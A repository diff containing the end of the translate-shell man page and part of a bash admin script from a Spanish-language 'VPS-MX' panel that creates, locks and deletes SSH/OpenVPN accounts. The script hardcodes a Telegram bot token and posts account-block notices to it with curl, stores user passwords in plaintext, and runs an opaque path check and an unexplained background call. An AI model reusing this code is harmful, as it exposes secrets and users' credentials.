+Show the original text and its most relevant translation, then its
+phonetic notation (if any), then its alternative translations (if any)
+or its definition in the dictionary (if it is a word).
+.PP
+This option is unnecessary in most cases since verbose mode is enabled
+by default.
+.RE
+.TP
+.B \f[B]\-b\f[], \f[B]\-brief\f[]
+Brief mode.
+.RS
+.PP
+Show the most relevant translation or its phonetic notation only.
+.RE
+.TP
+.B \f[B]\-d\f[], \f[B]\-dictionary\f[]
+Dictionary mode.
+.RS
+.PP
+Show the definition of the original word in the dictionary.
+.RE
+.TP
+.B \f[B]\-identify\f[]
+Language identification.
+.RS
+.PP
+Show the identified language of the original text.
+.RE
+.TP
+.B \f[B]\-show\-original\f[] \f[I]Y/n\f[]
+Show original text or not.
+(default: yes)
+.RS
+.RE
+.TP
+.B \f[B]\-show\-original\-phonetics\f[] \f[I]Y/n\f[]
+Show phonetic notation of original text or not.
+(default: yes)
+.RS
+.RE
+.TP
+.B \f[B]\-show\-translation\f[] \f[I]Y/n\f[]
+Show translation or not.
+(default: yes)
+.RS
+.RE
+.TP
+.B \f[B]\-show\-translation\-phonetics\f[] \f[I]Y/n\f[]
+Show phonetic notation of translation or not.
+(default: yes)
+.RS
+.RE
+.TP
+.B \f[B]\-show\-prompt\-message\f[] \f[I]Y/n\f[]
+Show prompt message or not.
+(default: yes)
+.RS
+.RE
+.TP
+.B \f[B]\-show\-languages\f[] \f[I]Y/n\f[]
+Show source and target languages or not.
+(default: yes)
+.RS
+.RE
+.TP
+.B \f[B]\-show\-original\-dictionary\f[] \f[I]y/N\f[]
+Show dictionary entry of original text or not.
+(default: no)
+.RS
+.PP
+This option is enabled in dictionary mode.
+.RE
+.TP
+.B \f[B]\-show\-dictionary\f[] \f[I]Y/n\f[]
+Show dictionary entry of translation or not.
+(default: yes)
+.RS
+.RE
+.TP
+.B \f[B]\-show\-alternatives\f[] \f[I]Y/n\f[]
+Show alternative translations or not.
+(default: yes)
+.RS
+.RE
+.TP
+.B \f[B]\-w\f[] \f[I]NUM\f[], \f[B]\-width\f[] \f[I]NUM\f[]
+Specify the screen width for padding.
+.RS
+.PP
+This option overrides the setting of environment variable
+$\f[B]COLUMNS\f[].
+.RE
+.TP
+.B \f[B]\-indent\f[] \f[I]NUM\f[]
+Specify the size of indent (number of spaces).
+(default: 4)
+.RS
+.RE
+.TP
+.B \f[B]\-theme\f[] \f[I]FILENAME\f[]
+Specify the theme to use.
+(default: default)
+.RS
+.RE
+.TP
+.B \f[B]\-no\-theme\f[]
+Do not use any other theme than default.
+.RS
+.RE
+.TP
+.B \f[B]\-no\-ansi\f[]
+Do not use ANSI escape codes.
+.RS
+.RE
+.TP
+.B \f[B]\-no\-autocorrect\f[]
+Do not autocorrect.
+(if defaulted by the translation engine)
+.RS
+.RE
+.TP
+.B \f[B]\-no\-bidi\f[]
+Do not convert bidirectional texts.
+.RS
+.RE
+.TP
+.B \f[B]\-no\-warn\f[]
+Do not write warning messages to stderr.
+.RS
+.RE
+.TP
+.B \f[B]\-dump\f[]
+Print raw API response instead.
+.RS
+.RE
+.SS Audio options
+.TP
+.B \f[B]\-p\f[], \f[B]\-play\f[]
+Listen to the translation.
+.RS
+.PP
+You must have at least one of the supported audio players
+(\f[B]mplayer\f[], \f[B]mpv\f[] or \f[B]mpg123\f[]) installed to stream
+from Google Text\-to\-Speech engine.
+Otherwise, a local speech synthesizer may be used instead (\f[B]say\f[]
+on macOS, \f[B]espeak\f[] on Linux or other platforms).
+.RE
+.TP
+.B \f[B]\-speak\f[]
+Listen to the original text.
+.RS
+.RE
+.TP
+.B \f[B]\-n\f[] \f[I]VOICE\f[], \f[B]\-narrator\f[] \f[I]VOICE\f[]
+Specify the narrator, and listen to the translation.
+.RS
+.PP
+Common values for this option are \f[B]male\f[] and \f[B]female\f[].
+.RE
+.TP
+.B \f[B]\-player\f[] \f[I]PROGRAM\f[]
+Specify the audio player to use, and listen to the translation.
+.RS
+.PP
+Option \f[B]\-play\f[] will try to use \f[B]mplayer\f[], \f[B]mpv\f[] or
+\f[B]mpg123\f[] by default, since these players are known to work for
+streaming URLs.
+Not all command\-line audio players can work this way.
+Use this option only when you have your own preference.
+.PP
+This option overrides the setting of environment variable
+$\f[B]PLAYER\f[].
+.RE
+.TP
+.B \f[B]\-no\-play\f[]
+Do not listen to the translation.
+.RS
+.RE
+.TP
+.B \f[B]\-no\-translate\f[]
+Do not translate anything when using \-speak.
+.RS
+.RE
+.TP
+.B \f[B]\-download\-audio\f[]
+Download the audio to the current directory.
+.RS
+.RE
+.TP
+.B \f[B]\-download\-audio\-as\f[] \f[I]FILENAME\f[]
+Download the audio to the specified file.
+.RS
+.RE
+.SS Terminal paging and browsing options
+.TP
+.B \f[B]\-v\f[], \f[B]\-view\f[]
+View the translation in a terminal pager (\f[B]less\f[], \f[B]more\f[]
+or \f[B]most\f[]).
+.RS
+.RE
+.TP
+.B \f[B]\-pager\f[] \f[I]PROGRAM\f[]
+Specify the terminal pager to use, and view the translation.
+.RS
+.PP
+This option overrides the setting of environment variable
+$\f[B]PAGER\f[].
+.RE
+.TP
+.B \f[B]\-no\-view\f[]
+Do not view the translation in a terminal pager.
+.RS
+.RE
+.TP
+.B \f[B]\-browser\f[] \f[I]PROGRAM\f[]
+Specify the web browser to use.
+.RS
+.PP
+This option overrides the setting of environment variable
+$\f[B]BROWSER\f[].
+.RE
+.SS Networking options
+.TP
+.B \f[B]\-x\f[] \f[I]HOST:PORT\f[], \f[B]\-proxy\f[] \f[I]HOST:PORT\f[]
+Use HTTP proxy on given port.
+.RS
+.PP
+This option overrides the setting of environment variables
+$\f[B]HTTP_PROXY\f[] and $\f[B]http_proxy\f[].
+.RE
+.TP
+.B \f[B]\-u\f[] \f[I]STRING\f[], \f[B]\-user\-agent\f[] \f[I]STRING\f[]
+Specify the User\-Agent to identify as.
+.RS
+.PP
+This option overrides the setting of environment variables
+$\f[B]USER_AGENT\f[].
+.RE
+.SS Interactive shell options
+.TP
+.B \f[B]\-I\f[], \f[B]\-interactive\f[], \f[B]\-shell\f[]
+Start an interactive shell, invoking \f[B]rlwrap\f[] whenever possible
+(unless \f[B]\-no\-rlwrap\f[] is specified).
+.RS
+.RE
+.TP
+.B \f[B]\-E\f[], \f[B]\-emacs\f[]
+Start the GNU Emacs front\-end for an interactive shell.
+.RS
+.PP
+This option does not need to, and cannot be used along with \f[B]\-I\f[]
+or \f[B]\-no\-rlwrap\f[].
+.RE
+.TP
+.B \f[B]\-no\-rlwrap\f[]
+Do not invoke \f[B]rlwrap\f[] when starting an interactive shell.
+.RS
+.PP
+This option is useful when your terminal type is not supported by
+\f[B]rlwrap\f[] (e.g.
+\f[B]emacs\f[]).
+.RE
+.SS I/O options
+.TP
+.B \f[B]\-i\f[] \f[I]FILENAME\f[], \f[B]\-input\f[] \f[I]FILENAME\f[]
+Specify the input file.
+.RS
+.PP
+Source text to be translated will be read from the input file, instead
+of standard input.
+.RE
+.TP
+.B \f[B]\-o\f[] \f[I]FILENAME\f[], \f[B]\-output\f[] \f[I]FILENAME\f[]
+Specify the output file.
+.RS
+.PP
+Translations will be written to the output file, instead of standard
+output.
+.RE
+.SS Language preference options
+.TP
+.B \f[B]\-l\f[] \f[I]CODE\f[], \f[B]\-hl\f[] \f[I]CODE\f[], \f[B]\-lang\f[] \f[I]CODE\f[]
+Specify your home language (the language you would like to see for
+displaying prompt messages in the translation).
+.RS
+.PP
+This option affects only the display in verbose mode (anything other
+than source language and target language will be displayed in your home
+language).
+This option has no effect in brief mode.
+.PP
+This option is optional.
+When its setting is omitted, English will be used.
+.PP
+This option overrides the setting of environment variables
+$\f[B]LANGUAGE\f[], $\f[B]LC_ALL\f[], $\f[B]LANG\f[] and
+$\f[B]HOME_LANG\f[].
+.RE
+.TP
+.B \f[B]\-s\f[] \f[I]CODE\f[], \f[B]\-sl\f[] \f[I]CODE\f[], \f[B]\-source\f[] \f[I]CODE\f[], \f[B]\-from\f[] \f[I]CODE\f[]
+Specify the source language (the language of original text).
+.RS
+.PP
+This option is optional.
+When its setting is omitted, the language of original text will be
+identified automatically (with a possibility of misidentification).
+.PP
+This option overrides the setting of environment variable
+$\f[B]SOURCE_LANG\f[].
+.RE
+.TP
+.B \f[B]\-t\f[] \f[I]CODES\f[], \f[B]\-tl\f[] \f[I]CODE\f[], \f[B]\-target\f[] \f[I]CODES\f[], \f[B]\-to\f[] \f[I]CODES\f[]
+Specify the target language(s) (the language(s) of translated text).
+When specifying two or more language codes, concatenate them by plus
+sign "+".
+.RS
+.PP
+This option is optional.
+When its setting is omitted, everything will be translated into English.
+.PP
+This option overrides the setting of environment variables
+$\f[B]LANGUAGE\f[], $\f[B]LC_ALL\f[], $\f[B]LANG\f[] and
+$\f[B]TARGET_LANG\f[].
+.RE
+.TP
+.B [\f[I]SOURCE\f[]]:[\f[I]TARGETS\f[]]
+A simpler, alternative way to specify the source language and target
+language(s) is to use a shortcut formatted string:
+.RS
+.IP \[bu] 2
+\f[I]SOURCE\-CODE\f[]:\f[I]TARGET\-CODE\f[]
+.IP \[bu] 2
+\f[I]SOURCE\-CODE\f[]:\f[I]TARGET\-CODE1\f[]+\f[I]TARGET\-CODE2\f[]+...
+.IP \[bu] 2
+\f[I]SOURCE\-CODE\f[]=\f[I]TARGET\-CODE\f[]
+.IP \[bu] 2
+\f[I]SOURCE\-CODE\f[]=\f[I]TARGET\-CODE1\f[]+\f[I]TARGET\-CODE2\f[]+...
+.PP
+Delimiter ":" and "=" can be used interchangeably.
+.PP
+Either \f[I]SOURCE\f[] or \f[I]TARGETS\f[] may be omitted, but the
+delimiter character must be kept.
+.RE
+.SS Other options
+.TP
+.B \f[B]\-no\-init\f[]
+Do not load any initialization script.
+.RS
+.RE
+.TP
+.B \f[B]\-\-\f[]
+End\-of\-options.
+.RS
+.PP
+All arguments after this option are treated as \f[I]TEXT\f[] to be
+translated.
+.RE
+.SH EXIT STATUS
+.TP
+.B \f[B]0\f[]
+Successful translation.
+.RS
+.RE
+.TP
+.B \f[B]1\f[]
+Error.
+.RS
+.RE
+.SH ENVIRONMENT
+.TP
+.B \f[B]PAGER\f[]
+Equivalent to option setting \f[B]\-pager\f[].
+.RS
+.RE
+.TP
+.B \f[B]BROWSER\f[]
+Equivalent to option setting \f[B]\-browser\f[].
+.RS
+.RE
+.TP
+.B \f[B]PLAYER\f[]
+Equivalent to option setting \f[B]\-player\f[].
+.RS
+.RE
+.TP
+.B \f[B]HTTP_PROXY\f[]
+Equivalent to option setting \f[B]\-proxy\f[].
+.RS
+.RE
+.TP
+.B \f[B]USER_AGENT\f[]
+Equivalent to option setting \f[B]\-user\-agent\f[].
+.RS
+.RE
+.TP
+.B \f[B]HOME_LANG\f[]
+Equivalent to option setting \f[B]\-lang\f[].
+.RS
+.RE
+.TP
+.B \f[B]SOURCE_LANG\f[]
+Equivalent to option setting \f[B]\-source\f[].
+.RS
+.RE
+.TP
+.B \f[B]TARGET_LANG\f[]
+Equivalent to option setting \f[B]\-target\f[].
+.RS
+.RE
+.SH FILES
+.TP
+.B \f[I]/etc/translate\-shell\f[]
+Initialization script.
+(system\-wide)
+.RS
+.RE
+.TP
+.B \f[I]$HOME/.translate\-shell/init.trans\f[]
+Initialization script.
+(user\-specific)
+.RS
+.RE
+.TP
+.B \f[I]$XDG_CONFIG_HOME/translate\-shell/init.trans\f[]
+Initialization script.
+(user\-specific)
+.RS
+.RE
+.TP
+.B \f[I]./.trans\f[]
+Initialization script.
+(current directory)
+.RS
+.RE
+.SH REPORTING BUGS
+.PP
+<https://github.com/soimort/translate-shell/issues>
+.SH AUTHORS
+Mort Yao <soi@mort.ninja>.
+EOF
+export TRANS_MANPAGE
+export TRANS_BUILD=release
+gawk -f <(echo -E "$TRANS_PROGRAM") - "$@"

BIN
SCREEN-ALL/VPS-MXMOD.png


BIN
SCREEN-ALL/VPS-MXOF.png


BIN
SCRIPT-v8.4g Oficial/VPS-MX.tar.xz


+ 1 - 0
SCRIPT-v8.4g Oficial/VPS-MX/controlador/IDT.log

@@ -0,0 +1 @@
+ 

+ 1 - 0
SCRIPT-v8.4g Oficial/VPS-MX/controlador/SSH20.log

@@ -0,0 +1 @@
+23

+ 1 - 0
SCRIPT-v8.4g Oficial/VPS-MX/controlador/nombre.log

@@ -0,0 +1 @@
+vps

+ 1 - 0
SCRIPT-v8.4g Oficial/VPS-MX/controlador/tiemlim.log

@@ -0,0 +1 @@
+120

+ 1297 - 0
SCRIPT-v8.4g Oficial/VPS-MX/controlador/usercodes

@@ -0,0 +1,1297 @@
+#!/bin/bash
+#27/01/2021
+clear
+clear
+msg -bar
+myip=`ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0' | head -n1`;
+myint=`ifconfig | grep -B1 "inet addr:$myip" | head -n1 | awk '{print $1}'`;
+NOM=`less /etc/VPS-MX/controlador/nombre.log` > /dev/null 2>&1
+NOM1=`echo $NOM` > /dev/null 2>&1
+IDB=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1
+IDB1=`echo $IDB` > /dev/null 2>&1
+declare -A TIMEUS 
+SCPdir="/etc/VPS-MX"
+SCPdir2="${SCPdir}/herramientas"
+SCPusr="${SCPdir}/controlador"
+MyPID="${SCPusr}/pid-vps-mx"
+MyTIME="${SCPusr}/time-vps-mx"
+USRdatabase="${SCPdir}/VPS-MXuser"
+VERY="$(ps aux|grep "${SCPusr}/usercodes verificar"| grep -v grep)"
+VERY2="$(ps aux|grep "${SCPusr}/usercodes desbloqueo"| grep -v grep)"
+dirapache="/usr/local/lib/ubuntn/apache/ver" && [[ ! -d ${dirapache} ]] && exit
+[[ -e ${MyPID} ]] && source ${MyPID} || touch ${MyPID}
+[[ -e ${MyTIME} ]] && source ${MyTIME} || touch ${MyTIME}
+[[ ! -e ${USRdatabase} ]] && touch ${USRdatabase}
+sort ${USRdatabase} | uniq > ${USRdatabase}tmp
+mv -f ${USRdatabase}tmp ${USRdatabase}
+# Open VPN
+newclient () {
+#Nome #Senha
+usermod -p $(openssl passwd -1 $2) $1
+  while [[ ${newfile} != @(s|S|y|Y|n|N) ]]; do
+msg -bar
+   read -p "Crear Archivo OpenVPN? [S/N]: " -e -i S newfile
+   tput cuu1 && tput dl1
+  done
+if [[ ${newfile} = @(s|S) ]]; then
+	# Generates the custom client.ovpn
+	rm -rf /etc/openvpn/easy-rsa/pki/reqs/$1.req
+	rm -rf /etc/openvpn/easy-rsa/pki/issued/$1.crt
+	rm -rf /etc/openvpn/easy-rsa/pki/private/$1.key
+	cd /etc/openvpn/easy-rsa/
+	./easyrsa build-client-full $1 nopass > /dev/null 2>&1
+	cd
+	
+	cp /etc/openvpn/client-common.txt ~/$1.ovpn
+	echo "<ca>" >> ~/$1.ovpn
+	cat /etc/openvpn/easy-rsa/pki/ca.crt >> ~/$1.ovpn
+	echo "</ca>" >> ~/$1.ovpn
+	echo "<cert>" >> ~/$1.ovpn
+	cat /etc/openvpn/easy-rsa/pki/issued/$1.crt >> ~/$1.ovpn
+	echo "</cert>" >> ~/$1.ovpn
+	echo "<key>" >> ~/$1.ovpn
+	cat /etc/openvpn/easy-rsa/pki/private/$1.key >> ~/$1.ovpn
+	echo "</key>" >> ~/$1.ovpn
+	echo "<tls-auth>" >> ~/$1.ovpn
+	cat /etc/openvpn/ta.key >> ~/$1.ovpn
+	echo "</tls-auth>" >> ~/$1.ovpn
+	
+  while [[ ${ovpnauth} != @(s|S|y|Y|n|N) ]]; do
+    read -p "$(fun_trans "Colocar autenticacion de usuario en el archivo")? [S/N]: " -e -i S ovpnauth
+    tput cuu1 && tput dl1
+  done
+  [[ ${ovpnauth} = @(s|S) ]] && sed -i "s;auth-user-pass;<auth-user-pass>\n$1\n$2\n</auth-user-pass>;g" ~/$1.ovpn
+  cd $HOME
+  zip ./$1.zip ./$1.ovpn > /dev/null 2>&1
+  rm ./$1.ovpn > /dev/null 2>&1
+
+  echo -e "\033[1;31m$(fun_trans "Archivo creado"): ($HOME/$1.zip)"
+ fi
+}
+
+unlockall2 () {
+for user in $(cat /etc/passwd |awk -F : '$3 > 900 {print $1}' |grep -v "rick" |grep -vi "nobody")
+do
+userpid=$(ps -u $user |awk {'print $1'})
+
+usermod -U $user &>/dev/null
+done
+}
+
+eliminar_all () {
+clear
+clear
+msg -bar
+msg -tit
+echo -e "\033[1;31m       BORRAR TODOS LOS USUARIOS REGISTRADOS"
+msg -bar
+read -p "   ►► Enter para Continuar  o CTRL + C Cancelar ◄◄"
+echo ""
+service dropbear stop &>/dev/null
+service sshd stop &>/dev/null
+service ssh stop &>/dev/null
+service stunnel4 stop &>/dev/null
+service squid stop &>/dev/null
+for user in $(cat /etc/passwd |awk -F : '$3 > 900 {print $1}' |grep -v "rick" |grep -vi "nobody")
+do
+userpid=$(ps -u $user |awk {'print $1'})
+kill "$userpid" 2>/dev/null
+userdel $user
+echo -e "\033[1;32mUSUARIO:\033[1;33m $user \033[1;31mEliminado"
+done
+rm -rf ${SCPdir}/VPS-MXuser
+service sshd restart &>/dev/null
+service ssh restart &>/dev/null
+service dropbear start &>/dev/null
+service stunnel4 start &>/dev/null
+service squid restart &>/dev/null
+rm -rf ${SCPdir}/VPS-MX-userlock &>/dev/null
+rm -rf /etc/VPS-MX/controlador/Limiter.log &>/dev/null
+unlockall2
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+
+reset_contador () {
+clear 
+clear
+msg -bar
+msg -tit
+echo -e "\033[1;33m          REINICIAR CONTADOR DE BLOQUEOS"
+msg -bar
+echo -e "\033[1;97m !! Usar unicamente cuando en el apartado del contador\nmarque alguna cantidad erronea. ¡¡"
+echo ""
+echo -e "\033[1;91m ## Cancelar Precione CTRL+C"
+msg -bar
+read -p "        ►► Presione enter para continuar ◄◄"
+rm -rf /etc/VPS-MX/VPS-MX-userlock
+rm -rf /etc/VPS-MX/controlador/Limiter.log
+unlockall2
+msg -bar
+echo -e "\033[1;92m           ¡¡CONTADORES REINICIADOS!!"
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+SPR &
+droppids () {
+local pids
+
+local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+local NOREPEAT
+local reQ
+local Port
+while read port; do
+reQ=$(echo ${port}|awk '{print $1}')
+Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ $(echo -e $NOREPEAT|grep -w "$Port") ]] && continue
+NOREPEAT+="$Port\n"
+case ${reQ} in
+
+dropbear)
+[[ -z $DPB ]] && local DPB="\033[1;31m DROPBEAR: \033[1;32m"
+DPB+="$Port ";;
+
+esac
+done <<< "${portasVAR}"
+
+
+[[ ! -z $DPB ]] && echo -e $DPB 
+
+local port_dropbear="$DPB"
+#cat /var/log/auth.log|grep "$(date|cut -d' ' -f2,3)" > /var/log/authday.log
+cat /var/log/auth.log|tail -1000 > /var/log/authday.log
+local log=/var/log/authday.log
+local loginsukses='Password auth succeeded'
+[[ -z $port_dropbear ]] && return 1
+for port in `echo $port_dropbear`; do
+ for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do
+  pids="${pids}$pidx\n"
+ done
+done
+for pid in `echo -e "$pids"`; do
+  pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'`
+  i=0
+    for pidend in $pidlogs; do
+    let i++
+    done
+    if [[ $pidend ]]; then
+    login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses")
+    PID=$pid
+    user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"`
+    waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}')
+    [[ -z $user ]] && continue
+	echo "$user|$PID|$waktu"
+    fi
+done
+}
+
+block_userfun () {
+local USRloked="/etc/VPS-MX/VPS-MX-userlock"
+local LIMITERLOG="${USRdatabase}/Limiter.log"
+local LIMITERLOG2="${USRdatabase}/Limiter2.log"
+if [[ $2 = "-loked" ]]; then 
+[[ $(cat ${USRloked}|grep -w "$1") ]] && return 1
+echo " $1 (BLOCK-MULTILOGIN) $(date +%r--%d/%m/%y)"
+limseg="$(less /etc/VPS-MX/controlador/tiemdes.log)"
+KEY="862633455:AAGJ9BBJanzV6yYwLSemNAZAVwn7EyjrtcY"
+URL="https://api.telegram.org/bot$KEY/sendMessage"
+MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
+🔹 CUENTA: $1 
+❗️📵 BLOCK FIJO/TEMPORAL 📵❗️
+🔓( AUTOUNLOCK EN $limseg SEGUNDOS) 🔓"
+curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null
+
+pkill -u $1 &>/dev/null
+
+fi
+if [[ $(cat ${USRloked}|grep -w "$1") ]]; then
+usermod -U "$1" &>/dev/null
+[[ -e ${USRloked} ]] && {
+   newbase=$(cat ${USRloked}|grep -w -v "$1")
+   [[ -e ${USRloked} ]] && rm ${USRloked}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRloked}
+   done
+   }
+[[ -e ${LIMITERLOG} ]] && [[ $(cat ${LIMITERLOG}|grep -w "$1") ]] && {
+   newbase=$(cat ${LIMITERLOG}|grep -w -v "$1")
+   [[ -e ${LIMITERLOG} ]] && rm ${LIMITERLOG}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${LIMITERLOG}
+   echo $value >> ${LIMITERLOG}    
+   done
+}
+return 1
+else
+usermod -L "$1" &>/dev/null
+pkill -u $1 &>/dev/null
+
+# droplim=`droppids|grep -w "$1"|cut -d'|' -f2` 
+# kill -9 $droplim &>/dev/null
+
+droplim=`dropbear_pids|grep -w "$1"|cut -d'|' -f2` 
+kill -9 $droplim &>/dev/null
+
+echo $1 >> ${USRloked}
+#notifi &>/dev/null
+return 0
+fi
+
+} 
+
+block_user () {
+clear
+clear
+msg -bar
+local USRloked="/etc/VPS-MX/VPS-MX-userlock"
+[[ ! -e ${USRloked} ]] && touch ${USRloked}
+usuarios_ativos=($(mostrar_usuarios))
+if [[ -z ${usuarios_ativos[@]} ]]; then
+msg -tit
+msg -verm "$(fun_trans " BLOCK/UNBLOCK | Ningun Usuario Registrado")"
+msg -bar
+return 1
+else
+msg -tit
+msg -ama "$(fun_trans " BLOCK/UNBLOCK | Usuarios Activos del Servidor")"
+msg -bar
+Numb=0
+for us in $(echo ${usuarios_ativos[@]}); do
+if [[ $(cat ${USRloked}|grep -w "${us}") ]]; then
+msg -ne "[$Numb] ->" && echo -e "\033[1;33m ${us} \033[1;31m[Loked]"
+else
+msg -ne "[$Numb] ->" && echo -e "\033[1;33m ${us} \033[1;32m[Unlocked]"
+fi
+let Numb++
+done
+msg -bar
+fi
+msg -ama "$(fun_trans "Escriba o Seleccione Un Usuario")"
+msg -bar
+unset selection
+while [[ ${selection} = "" ]]; do
+echo -ne "\033[1;37mSeleccione: " && read selection
+tput cuu1 && tput dl1
+done
+if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+usuario_del="${usuarios_ativos[$selection]}"
+else
+usuario_del="$selection"
+fi
+[[ -z $usuario_del ]] && {
+     msg -verm "$(fun_trans "Error, Usuario Invalido")"
+     msg -bar
+     return 1
+     }
+[[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
+     msg -verm "$(fun_trans "Error, Usuario Invalido")"
+     msg -bar
+     return 1
+     }
+msg -ne "$(fun_trans "Usuario Seleccionado"): " && echo -ne "$usuario_del "
+block_userfun "$usuario_del" && msg -verm "[$(fun_trans "Bloqueado")]" || msg -verd "[$(fun_trans "Desbloqueado")]"
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+msg -bar3
+add_user () {
+Fecha=`date +%d-%m-%y-%R`
+#nome senha Dias limite
+[[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
+valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
+useradd -M -s /bin/false $1 -e ${valid} > /dev/null 2>&1 || return 1
+(echo $2; echo $2)|passwd $1 2>/dev/null || {
+    userdel --force $1
+    return 1
+    }
+[[ -e ${USRdatabase} ]] && {
+   newbase=$(cat ${USRdatabase}|grep -w -v "$1")
+   echo "$1|$2|${datexp}|$4" > ${USRdatabase}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRdatabase}
+   echo $value >> ${SCPdir}/B-VPS-MXuser/VPS-MXuser-"$Fecha"
+   done
+   } || echo "$1|$2|${datexp}|$4" > ${USRdatabase}
+}
+renew_user_fun () {
+#nome dias
+datexp=$(date "+%F" -d " + $2 days") && valid=$(date '+%C%y-%m-%d' -d " + $2 days")
+chage -E $valid $1 2> /dev/null || return 1
+[[ -e ${USRdatabase} ]] && {
+   newbase=$(cat ${USRdatabase}|grep -w -v "$1")
+   useredit=$(cat ${USRdatabase}|grep -w "$1")
+   pass=$(echo $useredit|cut -d'|' -f2)
+   limit=$(echo $useredit|cut -d'|' -f4)
+   echo "$1|$pass|${datexp}|$limit" > ${USRdatabase}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRdatabase}
+   done
+   }
+}
+edit_user_fun () {
+#nome senha dias limite
+(echo "$2" ; echo "$2" ) |passwd $1 > /dev/null 2>&1 || return 1
+datexp=$(date "+%F" -d " + $3 days") && valid=$(date '+%C%y-%m-%d' -d " + $3 days")
+chage -E $valid $1 2> /dev/null || return 1
+[[ -e ${USRdatabase} ]] && {
+   newbase=$(cat ${USRdatabase}|grep -w -v "$1")
+   echo "$1|$2|${datexp}|$4" > ${USRdatabase}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRdatabase}
+   done
+   } || echo "$1|$2|${datexp}|$4" > ${USRdatabase}
+}
+rm_user () {
+#nome
+userdel --force "$1" &>/dev/null || return 1
+[[ -e ${USRdatabase} ]] && {
+   newbase=$(cat ${USRdatabase}|grep -w -v "$1")
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRdatabase}
+   done
+   }
+}
+mostrar_usuarios () {
+for u in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do
+echo "$u"
+done
+}
+dropbear_pids () {
+local pids
+
+local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+local NOREPEAT
+local reQ
+local Port
+while read port; do
+reQ=$(echo ${port}|awk '{print $1}')
+Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ $(echo -e $NOREPEAT|grep -w "$Port") ]] && continue
+NOREPEAT+="$Port\n"
+case ${reQ} in
+
+dropbear)
+[[ -z $DPB ]] && local DPB=""
+DPB+="$Port ";;
+
+esac
+done <<< "${portasVAR}"
+
+
+[[ ! -z $DPB ]] && echo -e $DPB
+
+local port_dropbear="$DPB"
+#cat /var/log/auth.log|grep "$(date|cut -d' ' -f2,3)" > /var/log/authday.log
+cat /var/log/auth.log|tail -1000 > /var/log/authday.log
+local log=/var/log/authday.log
+local loginsukses='Password auth succeeded'
+[[ -z $port_dropbear ]] && return 1
+for port in `echo $port_dropbear`; do
+ for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do
+  pids="${pids}$pidx\n"
+ done
+done
+for pid in `echo -e "$pids"`; do
+  pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'`
+  i=0
+    for pidend in $pidlogs; do
+    let i++
+    done
+    if [[ $pidend ]]; then
+    login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses")
+    PID=$pid
+    user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"`
+    waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}')
+    [[ -z $user ]] && continue
+	echo "$user|$PID|$waktu"
+    fi
+done
+}
+openvpn_pids () {
+#nome|#loguin|#rcv|#snd|#time
+  byte () {
+   while read B dummy; do
+   [[ "$B" -lt 1024 ]] && echo "${B} bytes" && break
+   KB=$(((B+512)/1024))
+   [[ "$KB" -lt 1024 ]] && echo "${KB} Kb" && break
+   MB=$(((KB+512)/1024))
+   [[ "$MB" -lt 1024 ]] && echo "${MB} Mb" && break
+   GB=$(((MB+512)/1024))
+   [[ "$GB" -lt 1024 ]] && echo "${GB} Gb" && break
+   echo $(((GB+512)/1024)) terabytes
+   done
+   }
+for user in $(mostrar_usuarios); do
+user="$(echo $user|sed -e 's/[^a-z0-9 -]//ig')"
+[[ ! $(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log) ]] && continue
+i=0
+unset RECIVED; unset SEND; unset HOUR
+ while read line; do
+ IDLOCAL=$(echo ${line}|cut -d',' -f2)
+ RECIVED+="$(echo ${line}|cut -d',' -f3)+"
+ SEND+="$(echo ${line}|cut -d',' -f4)+"
+ DATESEC=$(date +%s --date="$(echo ${line}|cut -d',' -f5|cut -d' ' -f1,2,3,4)")
+ TIMEON="$(($(date +%s)-${DATESEC}))"
+  MIN=$(($TIMEON/60)) && SEC=$(($TIMEON-$MIN*60)) && HOR=$(($MIN/60)) && MIN=$(($MIN-$HOR*60))
+  HOUR+="${HOR}h:${MIN}m:${SEC}s\n"
+  let i++
+ done <<< "$(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log)"
+RECIVED=$(echo $(echo ${RECIVED}0|bc)|byte)
+SEND=$(echo $(echo ${SEND}0|bc)|byte)
+HOUR=$(echo -e $HOUR|sort -n|tail -1)
+echo -e "$user|$i|$RECIVED|$SEND|$HOUR" 
+done
+}
+err_fun () {
+     case $1 in
